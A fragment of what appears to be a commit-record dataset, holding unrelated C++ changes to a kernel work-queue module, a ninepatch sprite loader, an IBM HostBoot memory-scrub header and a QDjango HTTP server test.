look<commit_after>#include \"types.h\"\n#include \"amd64.h\"\n#include \"kernel.hh\"\n#include \"cpu.hh\"\n#include \"gc.hh\"\n#include \"percpu.hh\"\n#include \"spinlock.h\"\n#include \"condvar.h\"\n#include \"proc.hh\"\n#include \"uwq.hh\"\n#include \"vm.hh\"\n#include \"kalloc.hh\"\n#include \"bits.hh\"\nextern \"C\" {\n#include \"kern_c.h\"\n}\n\nbool\nuwq_trywork(void)\n{\n \/\/ Returning true means uwq added a thread to the run queue\n\n u64 i, k;\n\n \/\/ A \"random\" victim CPU\n k = rdtsc();\n for (i = 0; i < NCPU; i++) {\n u64 j = (i+k) % NCPU;\n\n if (j == mycpuid())\n continue;\n struct cpu *c = &cpus[j];\n \n \/\/ The gc_epoch is for p and uwq\n scoped_gc_epoch xgc();\n barrier();\n\n struct proc *p = c->proc;\n if (p == nullptr)\n continue;\n uwq* uwq = p->uwq;\n if (uwq == nullptr)\n continue;\n\n if (uwq->haswork()) {\n if (uwq->tryworker())\n return true;\n break;\n }\n }\n\n return false;\n}\n\nlong\nsys_wqwait(void)\n{\n uwq_worker* w = myproc()->worker;\n if (w == nullptr)\n return -1;\n\n return w->wait();\n}\n\n\/\/\n\/\/ uwq_worker\n\/\/\nuwq_worker::uwq_worker(uwq* u, proc* p)\n : uwq_(u), proc_(p), running_(false)\n{\n initlock(&lock_, \"worker_lock\", 0);\n initcondvar(&cv_, \"worker_cv\");\n}\n\nvoid\nuwq_worker::exit(void)\n{\n if (--uwq_->uref_ == 0)\n gc_delayed(uwq_);\n release(&lock_);\n delete this;\n ::exit();\n}\n\nlong\nuwq_worker::wait(void)\n{\n acquire(&lock_);\n if (!uwq_->valid())\n this->exit();\n\n running_ = false;\n cv_sleep(&cv_, &lock_);\n\n if (!uwq_->valid())\n this->exit();\n release(&lock_);\n return 0;\n}\n\n\/\/\n\/\/ uwq\n\/\/\nuwq*\nuwq::alloc(vmap* vmap, filetable *ftable)\n{\n uwq_ipcbuf* ipc;\n uwq* u;\n\n ipc = (uwq_ipcbuf*) ksalloc(slab_userwq); \n if (ipc == nullptr)\n return nullptr;\n\n ftable->incref();\n vmap->incref();\n\n u = new uwq(vmap, ftable, ipc);\n if (u == nullptr) {\n ftable->decref();\n vmap->decref();\n ksfree(slab_userwq, ipc);\n return nullptr;\n }\n\n if (mapkva(vmap->pml4, (char*)ipc, USERWQ, USERWQSIZE)) {\n ftable->decref();\n vmap->decref();\n ksfree(slab_userwq, ipc);\n u->dec();\n return nullptr;\n }\n\n return u;\n}\n\nuwq::uwq(vmap* vmap, filetable* ftable, uwq_ipcbuf* ipc) \n : rcu_freed(\"uwq\"),\n vmap_(vmap), ftable_(ftable), ipc_(ipc),\n uentry_(0), ustack_(UWQSTACK), uref_(0)\n{\n ftable_->incref();\n vmap_->incref();\n for (int i = 0; i < NCPU; i++)\n ipc_->len[i].v_ = 0;\n\n initlock(&lock_, \"uwq_lock\", 0);\n\n for (int i = 0; i < NWORKERS; i++)\n worker_[i].store(nullptr);\n}\n\nuwq::~uwq(void)\n{ \n if (ipc_ != nullptr)\n ksfree(slab_userwq, ipc_);\n vmap_->decref();\n ftable_->decref();\n}\n\nbool\nuwq::haswork(void) const\n{\n if (ipc_ == nullptr)\n return false;\n\n for (int i = 0; i < NCPU; i++) {\n if (ipc_->len[i].v_ > 0) {\n return true;\n }\n }\n return false;\n}\n\nbool\nuwq::tryworker(void)\n{\n if (!valid())\n return false;\n\n \/\/ Try to start a worker thread\n scoped_acquire lock0(&lock_);\n\n for (int i = 0; i < NWORKERS; i++) {\n if (worker_[i] == nullptr)\n continue;\n\n uwq_worker *w = worker_[i];\n if (w->running_)\n continue;\n else {\n scoped_acquire lock1(&w->lock_);\n proc* p = w->proc_;\n\n acquire(&p->lock);\n p->cpuid = mycpuid();\n release(&p->lock);\n\n w->running_ = true;\n cv_wakeup(&w->cv_);\n return true;\n }\n }\n lock0.release();\n\nagain:\n u64 uref = uref_.load();\n if (uref < ipc_->maxworkers) {\n if (!cmpxch(&uref_, uref, uref+1))\n goto again;\n \/\/ Guaranteed to have slot in worker_\n\n proc* p = allocworker();\n if (p != nullptr) {\n uwq_worker* w = new uwq_worker(this, p);\n assert(w != nullptr);\n\n ++uref_;\n p->worker = w;\n w->running_ = true;\n\n acquire(&p->lock);\n p->cpuid = mycpuid();\n addrun(p);\n release(&p->lock);\n\n for (int i = 0; i < NWORKERS; i++) {\n if (worker_[i] == nullptr)\n if (cmpxch(&worker_[i], (uwq_worker*)nullptr, w))\n return true;\n }\n panic(\"uwq::tryworker: oops\");\n }\n }\n \n return false;\n}\n\nvoid\nuwq::finish(void)\n{\n bool gcnow = true;\n\n scoped_acquire lock0(&lock_);\n for (int i = 0; i < NWORKERS; i++) {\n if (worker_[i] != nullptr) {\n uwq_worker* w = worker_[i];\n gcnow = false;\n acquire(&w->lock_);\n cv_wakeup(&w->cv_);\n release(&w->lock_);\n }\n }\n \n if (gcnow)\n gc_delayed(this);\n}\n\nvoid\nuwq::onzero() const\n{\n uwq *u = (uwq*)this;\n u->finish();\n}\n\nvoid\nuwq::setuentry(uptr uentry)\n{\n uentry_ = uentry;\n}\n\nproc*\nuwq::allocworker(void)\n{\n uptr uentry = uentry_;\n\n if (uentry == 0)\n return nullptr;\n\n proc* p = proc::alloc();\n if (p == nullptr)\n return nullptr;\n safestrcpy(p->name, \"uwq_worker\", sizeof(p->name));\n\n \/\/ finishproc will drop these refs\n vmap_->incref();\n ftable_->incref();\n \n p->vmap = vmap_;\n p->ftable = ftable_;\n \n struct vmnode *vmn;\n if ((vmn = new vmnode(USTACKPAGES)) == nullptr) {\n finishproc(p);\n return nullptr;\n }\n\n \/\/ Include a bumper page\n uptr ustack = ustack_.fetch_add((USTACKPAGES*PGSIZE)+PGSIZE);\n uptr stacktop = ustack + (USTACKPAGES*PGSIZE);\n if (vmap_->insert(vmn, ustack, 1) < 0) {\n delete vmn;\n finishproc(p);\n return nullptr;\n }\n\n p->tf->rsp = stacktop - 8;\n p->tf->rip = uentry;\n p->tf->cs = UCSEG | 0x3;\n p->tf->ds = UDSEG | 0x3;\n p->tf->ss = p->tf->ds;\n p->tf->rflags = FL_IF;\n\n return p;\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"spacetyper\/scalablesprite.h\"\n\n#include <cassert>\n#include <iostream>\n#include <algorithm>\n\n#include \"spacetyper\/vao.h\"\n#include \"spacetyper\/rect.h\"\n#include \"spacetyper\/texture.h\"\n#include \"spacetyper\/texturecache.h\"\n\n#include \"scalingsprite.pb.h\"\n#include \"spacetyper\/proto.h\"\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nclass ScalableSpriteData {\n public:\n ScalableSpriteData(const VaoBuilder& avao, const glm::vec2& aworld_size, const glm::vec2& aclient_size, const glm::vec2& aclient_offset)\n : vao(avao), world_size(aworld_size), client_size(aclient_size), client_offset(aclient_offset) {}\n Vao vao;\n glm::vec2 world_size;\n glm::vec2 client_size;\n glm::vec2 client_offset;\n};\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nScalableSprite::ScalableSprite(Texture2d* texture, const glm::vec2& min_size, SizeType size_type, const glm::vec2& size)\n : texture_(texture)\n , min_size_(min_size)\n , size_type_(size_type)\n , size_(size)\n{\n}\n\nScalableSprite::~ScalableSprite() {\n}\n\nvoid ScalableSprite::SetClientSize(const glm::vec2 &new_size) {\n assert(this);\n SetSizeSub(new_size, SizeType::CLIENT);\n}\n\nconst glm::vec2 ScalableSprite::GetClientSize() const {\n assert(this);\n if( size_type_ == SizeType::CLIENT) return size_;\n PrepareData();\n return data_->client_size;\n}\n\nconst glm::vec2 ScalableSprite::GetClientOffset() const {\n assert(this);\n PrepareData();\n return data_->client_offset;\n}\n\nvoid ScalableSprite::SetSize(const glm::vec2 &new_size) {\n assert(this);\n SetSizeSub(new_size, SizeType::WORLD);\n}\n\nconst glm::vec2 ScalableSprite::GetSize() const {\n assert(this);\n if( size_type_ == SizeType::WORLD) return size_;\n PrepareData();\n return data_->world_size;\n}\n\nconst glm::vec2 ScalableSprite::GetMinimumSize() const {\n assert(this);\n return min_size_;\n}\n\nconst glm::vec2 ScalableSprite::GetMinimumSize(const glm::vec2& extra) const {\n assert(this);\n return glm::vec2(min_size_.x + extra.x, min_size_.y + extra.y);\n}\n\nconst Texture2d* ScalableSprite::texture_ptr() const {\n assert(this);\n return texture_;\n}\n\nconst Vao* ScalableSprite::vao_ptr() const {\n assert(this);\n PrepareData();\n return &data_->vao;\n}\n\nstd::pair<ScalableSprite::SizeType, glm::vec2> ScalableSprite::GetSizeData() const {\n return std::pair<SizeType, glm::vec2>(size_type_, size_);\n};\n\nvoid ScalableSprite::PrepareData() const {\n assert(this);\n if( data_.get() == nullptr) {\n data_.reset(BuildData());\n }\n}\n\nvoid ScalableSprite::SetSizeSub(const glm::vec2& new_size, SizeType type) {\n assert(this);\n if( data_.get() != nullptr && size_type_ == type && size_ == new_size) {\n \/\/ if we have built the data and the size & type is the same\n \/\/ then there's no need to rebuild it\n return;\n }\n size_ = new_size;\n size_type_ = type;\n data_.reset();\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nnamespace {\n glm::vec2 DetermineSize(const glm::vec2 real_size, Rect<int> pixel_data) {\n return glm::vec2( real_size.x - pixel_data.GetWidth() , real_size.y - pixel_data.GetHeight());\n }\n\n VaoBuilder BuildNinepatchVao(const Texture2d* texture_, const Rect<int> draw, const glm::vec2& inner_size_) {\n VaoBuilder data;\n\n \/\/ 00 10 20 30\n \/\/ +------+-----------------+------+\n \/\/ | | | |\n \/\/ |01 |11 |21 | 31\n \/\/ +------+-----------------+------+\n \/\/ | | | |\n \/\/ | | | |\n \/\/ | | | |\n \/\/ | | | |\n \/\/ | | | |\n \/\/ | | | |\n \/\/ |02 |12 |22 | 32\n \/\/ +------+-----------------+------+\n \/\/ | | | |\n \/\/ |03 |13 |23 | 33\n \/\/ +------+-----------------+------+\n \/\/\n const float width = texture_->width();\n const float height = texture_->height();\n\n const float border_left = std::max(0, draw.left);\n const float border_right = std::max(0.0f, width - draw.right);\n const float border_top = std::max(0, draw.top);\n const float border_bottom = std::max(0.0f, height - draw.bottom);\n\n const float x0 = 0.0f;\n const float x1 = border_left;\n const float x2 = x1 + inner_size_.x;\n const float x3 = x2 + border_right;\n\n const float y0 = 0.0f;\n const float y1 = border_top;\n const float y2 = y1 + inner_size_.y;\n const float y3 = y2 + border_bottom;\n\n const float u0 = 0.0f;\n const float u1 = 0.0f + border_left \/ width;\n const float u2 = 1.0f - border_right\/width;\n const float u3 = 1.0f;\n\n const float v0 = 0.0f;\n const float v1 = 0.0f + border_top \/ height;\n const float v2 = 1.0f - border_bottom \/ height;\n const float v3 = 1.0f;\n\n #define P(A, B) Point(x ## A, y ## B, u ## A, v ## B)\n data.quad(P(0,0), P(1,0), P(0,1), P(1,1))\n .quad(P(1,0), P(2,0), P(1,1), P(2,1))\n .quad(P(2,0), P(3,0), P(2,1), P(3,1));\n data.quad(P(0,1), P(1,1), P(0,2), P(1,2))\n .quad(P(1,1), P(2,1), P(1,2), P(2,2))\n .quad(P(2,1), P(3,1), P(2,2), P(3,2));\n data.quad(P(0,2), P(1,2), P(0,3), P(1,3))\n .quad(P(1,2), P(2,2), P(1,3), P(2,3))\n .quad(P(2,2), P(3,2), P(2,3), P(3,3));\n\n \/\/ basic scale - like a sprite\n \/\/ data.quad(P(0,0), P(3,0), P(0,3), P(3,3));\n #undef P\n\n return data;\n }\n}\n\nclass ScalableSpriteNinepatch : public ScalableSprite {\n public:\n ScalableSpriteNinepatch(Texture2d* texture, SizeType size_type, const glm::vec2& size, const Rect<int>& da, const Rect<int>& ca)\n : ScalableSprite(texture, glm::vec2(ca.GetWidth(), ca.GetHeight()), size_type, size)\n , draw_area_(da), client_area_(ca) {}\n\n glm::vec2 DetermineRealSize() const {\n auto data = GetSizeData();\n const auto size = data.second;\n switch (data.first) {\n case ScalableSprite::SizeType::CLIENT:\n return glm::vec2(size.x + client_area_.GetWidth(), size.y + client_area_.GetHeight());\n case ScalableSprite::SizeType::WORLD:\n return size;\n }\n assert(false && \"unhandled SizeType\");\n }\n\n bool ValidateCalculatedSize(const glm::vec2& real_size, const glm::vec2& client_size) const {\n auto data = GetSizeData();\n const auto size = data.second;\n switch (data.first) {\n case ScalableSprite::SizeType::CLIENT:\n return client_size == size;\n case ScalableSprite::SizeType::WORLD:\n return real_size == size;\n }\n assert(false && \"unhandled SizeType\");\n }\n\n ScalableSpriteData* BuildData() const override {\n const glm::vec2 real_size = DetermineRealSize();\n const glm::vec2 draw_size = DetermineSize(real_size, draw_area_);\n const glm::vec2 client_size = DetermineSize(real_size, client_area_);\n\n assert(ValidateCalculatedSize(real_size, client_size));\n\n return new ScalableSpriteData(BuildNinepatchVao(texture_ptr(), draw_area_, draw_size), real_size, client_size, glm::vec2(client_area_.left, client_area_.top));\n }\n\n Rect<int> draw_area_;\n Rect<int> client_area_;\n};\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nRect<int> Convert(const scalingsprite::Rect& r) {\n return Rect<int>::FromLeftRightTopBottom(r.left(), r.right(), r.top(), r.bottom());\n}\n\nstd::shared_ptr<ScalableSprite> LoadScalableNinepatch(Texture2d* tex, ScalableSprite::SizeType size_type, glm::vec2 size, const scalingsprite::Ninepatch& data) {\n std::shared_ptr<ScalableSprite> ret ( new ScalableSpriteNinepatch(tex, size_type, size, Convert(data.draw()), Convert(data.client())) );\n return ret;\n}\n\nstd::shared_ptr<ScalableSprite> LoadScalableSprite(const std::string& path, const glm::vec2& size, TextureCache* cache) {\n std::string json_path = path + \".json\";\n Texture2d* tex = cache->GetTexture(path);\n const ScalableSprite::SizeType size_type = ScalableSprite::SizeType::WORLD;\n\n scalingsprite::ScalingSprite sprite;\n SaveProtoJson(sprite, path+\".json\");\n SaveProtoJson(sprite, path+\".txt\");\n\n \/\/ only ninepatch supported...\n assert(sprite.has_ninepatch());\n return LoadScalableNinepatch(tex, size_type, size, sprite.ninepatch());\n}\n\n<commit_msg>added sprite loading<commit_after>#include \"spacetyper\/scalablesprite.h\"\n\n#include <cassert>\n#include <iostream>\n#include <algorithm>\n\n#include \"spacetyper\/vao.h\"\n#include \"spacetyper\/rect.h\"\n#include \"spacetyper\/texture.h\"\n#include \"spacetyper\/texturecache.h\"\n\n#include \"scalingsprite.pb.h\"\n#include \"spacetyper\/proto.h\"\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nclass ScalableSpriteData {\n public:\n ScalableSpriteData(const VaoBuilder& avao, const glm::vec2& aworld_size, const glm::vec2& aclient_size, const glm::vec2& aclient_offset)\n : vao(avao), world_size(aworld_size), client_size(aclient_size), client_offset(aclient_offset) {}\n Vao vao;\n glm::vec2 world_size;\n glm::vec2 client_size;\n glm::vec2 client_offset;\n};\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nScalableSprite::ScalableSprite(Texture2d* texture, const glm::vec2& min_size, SizeType size_type, const glm::vec2& size)\n : texture_(texture)\n , min_size_(min_size)\n , size_type_(size_type)\n , size_(size)\n{\n}\n\nScalableSprite::~ScalableSprite() {\n}\n\nvoid ScalableSprite::SetClientSize(const glm::vec2 &new_size) {\n assert(this);\n SetSizeSub(new_size, SizeType::CLIENT);\n}\n\nconst glm::vec2 ScalableSprite::GetClientSize() const {\n assert(this);\n if( size_type_ == SizeType::CLIENT) return size_;\n PrepareData();\n return data_->client_size;\n}\n\nconst glm::vec2 ScalableSprite::GetClientOffset() const {\n assert(this);\n PrepareData();\n return data_->client_offset;\n}\n\nvoid ScalableSprite::SetSize(const glm::vec2 &new_size) {\n assert(this);\n SetSizeSub(new_size, SizeType::WORLD);\n}\n\nconst glm::vec2 ScalableSprite::GetSize() const {\n assert(this);\n if( size_type_ == SizeType::WORLD) return size_;\n PrepareData();\n return data_->world_size;\n}\n\nconst glm::vec2 ScalableSprite::GetMinimumSize() const {\n assert(this);\n return min_size_;\n}\n\nconst glm::vec2 ScalableSprite::GetMinimumSize(const glm::vec2& extra) const {\n assert(this);\n return glm::vec2(min_size_.x + extra.x, min_size_.y + extra.y);\n}\n\nconst Texture2d* ScalableSprite::texture_ptr() const {\n assert(this);\n return texture_;\n}\n\nconst Vao* ScalableSprite::vao_ptr() const {\n assert(this);\n PrepareData();\n return &data_->vao;\n}\n\nstd::pair<ScalableSprite::SizeType, glm::vec2> ScalableSprite::GetSizeData() const {\n return std::pair<SizeType, glm::vec2>(size_type_, size_);\n};\n\nvoid ScalableSprite::PrepareData() const {\n assert(this);\n if( data_.get() == nullptr) {\n data_.reset(BuildData());\n }\n}\n\nvoid ScalableSprite::SetSizeSub(const glm::vec2& new_size, SizeType type) {\n assert(this);\n if( data_.get() != nullptr && size_type_ == type && size_ == new_size) {\n \/\/ if we have built the data and the size & type is the same\n \/\/ then there's no need to rebuild it\n return;\n }\n size_ = new_size;\n size_type_ = type;\n data_.reset();\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nnamespace {\n glm::vec2 DetermineSize(const glm::vec2 real_size, Rect<int> pixel_data) {\n return glm::vec2( real_size.x - pixel_data.GetWidth() , real_size.y - pixel_data.GetHeight());\n }\n\n VaoBuilder BuildNinepatchVao(const Texture2d* texture_, const Rect<int> draw, const glm::vec2& inner_size_) {\n VaoBuilder data;\n\n \/\/ 00 10 20 30\n \/\/ +------+-----------------+------+\n \/\/ | | | |\n \/\/ |01 |11 |21 | 31\n \/\/ +------+-----------------+------+\n \/\/ | | | |\n \/\/ | | | |\n \/\/ | | | |\n \/\/ | | | |\n \/\/ | | | |\n \/\/ | | | |\n \/\/ |02 |12 |22 | 32\n \/\/ +------+-----------------+------+\n \/\/ | | | |\n \/\/ |03 |13 |23 | 33\n \/\/ +------+-----------------+------+\n \/\/\n const float width = texture_->width();\n const float height = texture_->height();\n\n const float border_left = std::max(0, draw.left);\n const float border_right = std::max(0.0f, width - draw.right);\n const float border_top = std::max(0, draw.top);\n const float border_bottom = std::max(0.0f, height - draw.bottom);\n\n const float x0 = 0.0f;\n const float x1 = border_left;\n const float x2 = x1 + inner_size_.x;\n const float x3 = x2 + border_right;\n\n const float y0 = 0.0f;\n const float y1 = border_top;\n const float y2 = y1 + inner_size_.y;\n const float y3 = y2 + border_bottom;\n\n const float u0 = 0.0f;\n const float u1 = 0.0f + border_left \/ width;\n const float u2 = 1.0f - border_right\/width;\n const float u3 = 1.0f;\n\n const float v0 = 0.0f;\n const float v1 = 0.0f + border_top \/ height;\n const float v2 = 1.0f - border_bottom \/ height;\n const float v3 = 1.0f;\n\n #define P(A, B) Point(x ## A, y ## B, u ## A, v ## B)\n data.quad(P(0,0), P(1,0), P(0,1), P(1,1))\n .quad(P(1,0), P(2,0), P(1,1), P(2,1))\n .quad(P(2,0), P(3,0), P(2,1), P(3,1));\n data.quad(P(0,1), P(1,1), P(0,2), P(1,2))\n .quad(P(1,1), P(2,1), P(1,2), P(2,2))\n .quad(P(2,1), P(3,1), P(2,2), P(3,2));\n data.quad(P(0,2), P(1,2), P(0,3), P(1,3))\n .quad(P(1,2), P(2,2), P(1,3), P(2,3))\n .quad(P(2,2), P(3,2), P(2,3), P(3,3));\n\n \/\/ basic scale - like a sprite\n \/\/ data.quad(P(0,0), P(3,0), P(0,3), P(3,3));\n #undef P\n\n return data;\n }\n}\n\nclass ScalableSpriteNinepatch : public ScalableSprite {\n public:\n ScalableSpriteNinepatch(Texture2d* texture, SizeType size_type, const glm::vec2& size, const Rect<int>& da, const Rect<int>& ca)\n : ScalableSprite(texture, glm::vec2(ca.GetWidth(), ca.GetHeight()), size_type, size)\n , draw_area_(da), client_area_(ca) {}\n\n glm::vec2 DetermineRealSize() const {\n auto data = GetSizeData();\n const auto size = data.second;\n switch (data.first) {\n case ScalableSprite::SizeType::CLIENT:\n return glm::vec2(size.x + client_area_.GetWidth(), size.y + client_area_.GetHeight());\n case ScalableSprite::SizeType::WORLD:\n return size;\n }\n assert(false && \"unhandled SizeType\");\n }\n\n bool ValidateCalculatedSize(const glm::vec2& real_size, const glm::vec2& client_size) const {\n auto data = GetSizeData();\n const auto size = data.second;\n switch (data.first) {\n case ScalableSprite::SizeType::CLIENT:\n return client_size == size;\n case ScalableSprite::SizeType::WORLD:\n return real_size == size;\n }\n assert(false && \"unhandled SizeType\");\n }\n\n ScalableSpriteData* BuildData() const override {\n const glm::vec2 real_size = DetermineRealSize();\n const glm::vec2 draw_size = DetermineSize(real_size, draw_area_);\n const glm::vec2 client_size = DetermineSize(real_size, client_area_);\n\n assert(ValidateCalculatedSize(real_size, client_size));\n\n return new ScalableSpriteData(BuildNinepatchVao(texture_ptr(), draw_area_, draw_size), real_size, client_size, glm::vec2(client_area_.left, client_area_.top));\n }\n\n Rect<int> draw_area_;\n Rect<int> client_area_;\n};\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nRect<int> Convert(const scalingsprite::Rect& r) {\n return Rect<int>::FromLeftRightTopBottom(r.left(), r.right(), r.top(), r.bottom());\n}\n\nstd::shared_ptr<ScalableSprite> LoadScalableNinepatch(Texture2d* tex, ScalableSprite::SizeType size_type, glm::vec2 size, const scalingsprite::Ninepatch& data) {\n std::shared_ptr<ScalableSprite> ret ( new ScalableSpriteNinepatch(tex, size_type, size, Convert(data.draw()), Convert(data.client())) );\n return ret;\n}\n\nstd::shared_ptr<ScalableSprite> LoadScalableSprite(const std::string& path, const glm::vec2& size, TextureCache* cache) {\n Texture2d* tex = cache->GetTexture(path);\n const ScalableSprite::SizeType size_type = ScalableSprite::SizeType::WORLD;\n\n scalingsprite::ScalingSprite sprite;\n LoadProtoText(&sprite, path+\".txt\");\n\n \/\/ only ninepatch supported...\n assert(sprite.has_ninepatch());\n return LoadScalableNinepatch(tex, size_type, size, sprite.ninepatch());\n}\n\n<|endoftext|>"} {"text":"<commit_before>\/* IBM_PROLOG_BEGIN_TAG *\/\n\/* This is an automatically generated prolog. *\/\n\/* *\/\n\/* $Source: src\/import\/chips\/p9\/procedures\/hwp\/memory\/p9_mss_background_scrub.H $ *\/\n\/* *\/\n\/* OpenPOWER HostBoot Project *\/\n\/* *\/\n\/* Contributors Listed Below - COPYRIGHT 2018,2019 *\/\n\/* [+] International Business Machines Corp. *\/\n\/* *\/\n\/* *\/\n\/* Licensed under the Apache License, Version 2.0 (the \"License\"); *\/\n\/* you may not use this file except in compliance with the License. *\/\n\/* You may obtain a copy of the License at *\/\n\/* *\/\n\/* http:\/\/www.apache.org\/licenses\/LICENSE-2.0 *\/\n\/* *\/\n\/* Unless required by applicable law or agreed to in writing, software *\/\n\/* distributed under the License is distributed on an \"AS IS\" BASIS, *\/\n\/* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or *\/\n\/* implied. See the License for the specific language governing *\/\n\/* permissions and limitations under the License. *\/\n\/* *\/\n\/* IBM_PROLOG_END_TAG *\/\n<commit_msg>Added p9_mss_memdiag for cronus ipl and modified scrub for step 16<commit_after>\/* IBM_PROLOG_BEGIN_TAG *\/\n\/* This is an automatically generated prolog. *\/\n\/* *\/\n\/* $Source: src\/import\/chips\/p9\/procedures\/hwp\/memory\/p9_mss_background_scrub.H $ *\/\n\/* *\/\n\/* OpenPOWER HostBoot Project *\/\n\/* *\/\n\/* Contributors Listed Below - COPYRIGHT 2018,2019 *\/\n\/* [+] International Business Machines Corp. *\/\n\/* *\/\n\/* *\/\n\/* Licensed under the Apache License, Version 2.0 (the \"License\"); *\/\n\/* you may not use this file except in compliance with the License. *\/\n\/* You may obtain a copy of the License at *\/\n\/* *\/\n\/* http:\/\/www.apache.org\/licenses\/LICENSE-2.0 *\/\n\/* *\/\n\/* Unless required by applicable law or agreed to in writing, software *\/\n\/* distributed under the License is distributed on an \"AS IS\" BASIS, *\/\n\/* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or *\/\n\/* implied. See the License for the specific language governing *\/\n\/* permissions and limitations under the License. *\/\n\/* *\/\n\/* IBM_PROLOG_END_TAG *\/\n\n\/\/\/\n\/\/\/ @file p9_mss_background_scrub.H\n\/\/\/ @brief Begin background scrub\n\/\/\/\n\/\/ *HWP HWP Owner: Matt Hickman <Matthew.Hickman@ibm.com>\n\/\/ *HWP FW Owner: Andre Marin <aamarin@us.ibm.com>\n\/\/ *HWP Team: Memory\n\/\/ *HWP Level: 2\n\/\/ *HWP Consumed by: FSP:HB\n\n#ifndef __P9_MSS_BACKGROUND_SCRUB__\n#define __P9_MSS_BACKGROUND_SCRUB__\n\n#include <fapi2.H>\n\ntypedef fapi2::ReturnCode (*p9_mss_background_scrub_FP_t) (const fapi2::Target<fapi2::TARGET_TYPE_MCBIST>&);\n\nextern \"C\"\n{\n\n \/\/\/\n \/\/\/ @brief Begin background scrub\n \/\/\/ @param[in] i_target, MCBIST\n \/\/\/ @return FAPI2_RC_SUCCESS iff ok\n \/\/\/\n fapi2::ReturnCode p9_mss_background_scrub( const fapi2::Target<fapi2::TARGET_TYPE_MCBIST>& i_target );\n\n}\n\n#endif\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright (C) 2010-2014 Jeremy Lainé\n * Contact: https:\/\/github.com\/jlaine\/qdjango\n *\n * This file is part of the QDjango Library.\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\/\n\n#include <QNetworkAccessManager>\n#include <QNetworkReply>\n#include <QNetworkRequest>\n#include <QtTest>\n#include <QUrl>\n\n#include \"QDjangoHttpController.h\"\n#include \"QDjangoHttpRequest.h\"\n#include \"QDjangoHttpResponse.h\"\n#include \"QDjangoHttpServer.h\"\n#include \"QDjangoUrlResolver.h\"\n\n\/** Test QDjangoHttpServer class.\n *\/\nclass tst_QDjangoHttpServer : public QObject\n{\n Q_OBJECT\n\nprivate slots:\n void cleanupTestCase();\n void initTestCase();\n void testGet_data();\n void testGet();\n void testPost_data();\n void testPost();\n\n QDjangoHttpResponse* _q_index(const QDjangoHttpRequest &request);\n QDjangoHttpResponse* _q_error(const QDjangoHttpRequest &request);\n\nprivate:\n QDjangoHttpServer *httpServer;\n};\n\n\nvoid tst_QDjangoHttpServer::cleanupTestCase()\n{\n httpServer->close();\n delete httpServer;\n}\n\nvoid tst_QDjangoHttpServer::initTestCase()\n{\n httpServer = new QDjangoHttpServer;\n httpServer->urls()->set(QRegExp(QLatin1String(QLatin1String(\"^$\"))), this, \"_q_index\");\n httpServer->urls()->set(QRegExp(QLatin1String(\"^internal-server-error$\")), this, \"_q_error\");\n QCOMPARE(httpServer->listen(QHostAddress::LocalHost, 8123), true);\n}\n\nvoid tst_QDjangoHttpServer::testGet_data()\n{\n QTest::addColumn<QString>(\"path\");\n QTest::addColumn<int>(\"err\");\n QTest::addColumn<QByteArray>(\"body\");\n\n const QString errorTemplate = QLatin1String(\n \"<html>\"\n \"<head><title>Error<\/title><\/head>\"\n \"<body><p>%1<\/p><\/body>\"\n \"<\/html>\");\n#if (QT_VERSION >= QT_VERSION_CHECK(5, 3, 0))\n int internalServerError = int(QNetworkReply::InternalServerError);\n#else\n int internalServerError = int(QNetworkReply::UnknownContentError);\n#endif\n QTest::newRow(\"root\") << \"\/\" << int(QNetworkReply::NoError) << QByteArray(\"method=GET|path=\/\");\n 